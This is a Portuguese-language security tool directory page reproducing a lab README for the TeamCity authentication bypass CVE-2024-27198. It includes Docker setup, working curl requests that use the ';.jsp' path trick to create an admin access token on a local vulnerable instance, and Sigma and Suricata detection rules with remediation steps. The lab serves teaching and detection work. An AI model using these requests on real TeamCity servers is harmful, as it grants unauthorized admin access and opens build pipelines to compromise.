Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-27198_Lab — Laboratório para o CVE-2024-27198 | Kitploit
Ferramentas/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoInteligência de AmeaçasDetecção de IntrusãoAprendizado e EducaçãoResposta a IncidentesAnálise de LogsLabs e Prática
5há 3 mesesAinda não revisado
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Laboratório para o CVE-2024-27198

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Laboratório CVE-2024-27198

Descrição

O TeamCity fornece uma página exclusiva para administradores, destinada ao gerenciamento de tokens, que não é protegida por autenticação. Isso permite que um usuário não autenticado gere um token de acesso para o usuário administrador, caso consiga encontrar o ID de um usuário existente.


Detalhes da CVE

  • ID da CVE: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Pontuação Base: 9.8 CRÍTICA
  • Vetor:
    • CVSS:3.1
    • AV:N Rede
    • AC:L Baixa
    • PR:N Nenhuma
    • UI:N Nenhuma
    • S:U Inalterado
    • C:H Alta
    • I:H Alta
    • A:H Alta

Inteligência de Ameaças e OSINT

Impacto no Mundo Real e Exploração

  • Catálogo KEV da CISA: Adicionado em 7 de março de 2024, confirmando exploração ativa no mundo real.
  • Atores de Ameaças: Explorada por múltiplos grupos de ransomware e APTs, notavelmente o grupo de ransomware BianLian e a variante de ransomware Jasmin. Os atacantes usaram essa bypass para criar contas de administrador fraudulentas, implantar plugins maliciosos e executar código arbitrário (RCE) para se mover lateralmente dentro das redes das vítimas.
Baixar ferramenta
  • Perfil de Alvo: Pipelines de CI/CD são alvos de alto valor (Ataques à Cadeia de Suprimentos). Comprometer o TeamCity permite que atacantes injetem código malicioso em builds de software, roubem código-fonte e extraiam segredos de implantação (chaves AWS, certificados).
  • Por que esta CVE é Crítica

    A vulnerabilidade reside no mecanismo de roteamento da API REST. Ao acrescentar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a um endpoint não autenticado, os atacantes podem enganar o servidor web do TeamCity para rotear a solicitação para um endpoint autenticado, contornando os filtros de segurança. Isso não exige nenhum conhecimento ou acesso prévio, tornando-a um CVSS puro de 9.8.


    Passos para reproduzir

    Iniciar os contêineres

    root@kitploit:~
    cd CVE-2024-27198
    
    root@kitploit:~
    docker compose -f docker-compose.yml up -d
    

    Acesse a instância vulnerável do TeamCity em http://localhost:8111. Acesse a instância corrigida do TeamCity em http://localhost:8112.


    Portal de Login

    Nome de usuário:

    root@kitploit:~
    admin
    

    Senha:

    root@kitploit:~
    admin
    

    Testar a vulnerabilidade

    Solicitação GET para um recurso sem autenticação:

    root@kitploit:~
    curl -i http://localhost:8111/app/rest/users
    
    root@kitploit:~
    curl -i http://localhost:8112/app/rest/users
    

    Ambas devem retornar um erro com código de status 401.


    Gerar um token para o usuário admin

    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Isso deve retornar um token como este (O token é diferente a cada vez):

    root@kitploit:~
    eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
    
    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Isso deve retornar um erro com código de status 401 porque a instância corrigida não possui a vulnerabilidade.


    Verificar o token

    root@kitploit:~
    curl -i -H "Authorization: Bearer <TOKEN>" \
      http://localhost:8111/app/rest/users
    

    Deve retornar a lista de usuários.


    Excluir o token

    1. Acesse http://localhost:8111 com a conta de administrador.
    2. Clique no ícone de perfil no canto superior direito.
    3. Vá em Perfil -> Access Tokens.
    4. Você verá o token "REDTEAM".
    5. Basta clicar em Delete ao lado do token.

    Blue Team: Caçando IoCs em Logs (O Fator Furtivo)

    Durante a demonstração no laboratório, você pode mostrar uma descoberta massiva de Blue Team: por padrão, esta vulnerabilidade é incrivelmente furtiva!

    1. Os logs de acesso do Tomcat estão desabilitados por padrão na imagem Docker do TeamCity, portanto, as solicitações HTTP com ;.jsp não são registradas.
    2. O log de auditoria do TeamCity não registra a criação de tokens via API REST.

    Então, como nós a detectamos? Quando o atacante remove seus rastros! Quando o atacante exclui seu token frauduloso para se esconder, o TeamCity registra isso.

    Encontre o atacante cobrindo seus rastros nos logs de auditoria:

    root@kitploit:~
    docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
    

    (Você verá uma entrada de log indicando que o token "REDTEAM" foi excluído).


    Parar os contêineres

    root@kitploit:~
    docker compose -f docker-compose.yml down
    

    Mitigação e Detecção

    Análise Técnica (CWE-288)

    Esta vulnerabilidade é um caso de CWE-288: Bypass de Autenticação Usando um Caminho ou Canal Alternativo. A falha decorre de um problema de confusão de caminho entre o servidor web Tomcat e o roteador de aplicações do TeamCity. Ao acrescentar ;.jsp e passar o endpoint da API REST de destino no parâmetro jsp=, o filtro de segurança inicial interpreta a solicitação como uma requisição não autenticada para um arquivo .jsp público (o que é permitido). No entanto, o roteador interno remove o ;.jsp e encaminha a solicitação para o endpoint restrito /app/rest/ sem aplicar o filtro de autenticação.

    Caso de Uso Legítimo (Por que ; é permitido?): O Tomcat usa o caractere ponto e vírgula (;) para Matrix Parameters. Historicamente, esse mecanismo é usado para passar parâmetros diretamente no caminho, como acrescentar JSESSIONID para manter o estado da sessão do usuário quando cookies estão desabilitados. Esse comportamento normal e legítimo do servidor web, combinado com a validação inadequada pelo roteador de aplicações do TeamCity, é o que cria a vulnerabilidade.

    Indicadores de Comprometimento (IoCs)

    Para detectar um comprometimento em andamento ou passado, os Blue Teams devem procurar por:

    1. Logs Web: Solicitações HTTP direcionadas a endpoints /app/rest/, mas contendo a string anômala ;.jsp na URI.
    2. Logs de Auditoria (teamcity-server.log): Geração inexplicada de tokens de acesso ou criação de novas contas administrativas.
    3. Nível de Sistema: Instalação de plugins não reconhecidos ou suspeitos (frequentemente usados por atacantes para escalar privilégios e obter Execução Remota de Código).

    Detecção em Logs (Regra Sigma)

    Como a exploração inicial é furtiva por padrão, os Blue Teams devem contar com a detecção das ações pós-exploração do atacante, como a remoção de rastros. Aqui está uma regra Sigma para seu SIEM detectar exclusões suspeitas de tokens:

    root@kitploit:~
    title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
    id: 9a2b53f6-1234-4567-890a-abcdef123456
    status: experimental
    description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
    author: Purple Team
    date: 2026-05-18
    logsource:
        category: application
        product: teamcity
    detection:
        selection:
            message|contains: 'delete_token_for_user'
        condition: selection
    level: medium
    

    Demonstração ao Vivo no SIEM (Blue Team)

    Para provar que essa detecção funciona, execute o script siem_simulator.py.

    1. Abra um segundo terminal ao lado do seu terminal de exploração.
    2. Certifique-se de que o contêiner vulnerável esteja em execução (docker compose up -d).
    3. Execute o simulador:
    root@kitploit:~
    python3 siem_simulator.py
    
    1. No primeiro terminal, execute o exploit, verifique o token e então exclua o token através da interface web.
    2. Observe o segundo terminal acender com um alerta crítico em vermelho, mostrando a regra Sigma detectando o atacante cobrindo seus rastros!

    Remediação

    • Patch Oficial: Atualize o TeamCity para a versão 2023.11.4 ou superior, que sanitiza adequadamente e aplica a correspondência de rotas no backend.
    • Solução Alternativa: Se a aplicação do patch for impossível, a JetBrains lançou um plugin de patch de segurança que pode ser instalado em instâncias vulneráveis.

    Detecção em Rede (Regra Suricata / Snort)

    Para detectar essa tentativa de exploração na rede, um SOC pode implementar a seguinte regra de IDS, que procura pelo padrão anômalo ;.jsp combinado com caminhos da API REST:

    root@kitploit:~
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
    

    Testar a versão corrigida (Demonstração em Laboratório)

    Para provar que a mitigação funciona, você pode lançar exatamente o mesmo payload de exploit contra o contêiner corrigido do TeamCity, executando na porta 8112:

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Como o patch aplica estritamente a correspondência de rotas e sanitiza adequadamente os matrix parameters, a bypass falhará. Você deve ver uma resposta 401 Unauthorized ou 404 Not Found em vez de um token gerado.


    Links

    • CVE-2024-27198